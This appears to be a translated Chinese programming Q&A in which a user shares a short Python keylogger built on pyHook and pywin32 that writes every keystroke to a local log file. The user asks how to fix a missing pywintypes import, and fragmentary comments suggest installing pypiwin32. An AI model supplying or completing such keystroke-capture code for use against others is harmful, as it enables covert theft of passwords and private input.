我正在使用Python编写一个小型键盘记录器,使用了pyHook、pythoncom和Pywin32模块。以下是我的代码:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
运行时,它返回以下错误消息:
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
我该如何修复这个错误?
pypiwin32
,可以使用命令pip install pypiwin32
进行安装。 - eri0opypiwin32
仅有3.6版本的文件可用,因此该命令只能成功针对该特定版本。 - ivan_pozdeevpip install
显示 "Requirement already satisfied: pypinwin32 , and pywin32 >= 223." 但是,当我import pyttsx3
时,import pywintypes
却显示 "no module named ..."。 - Max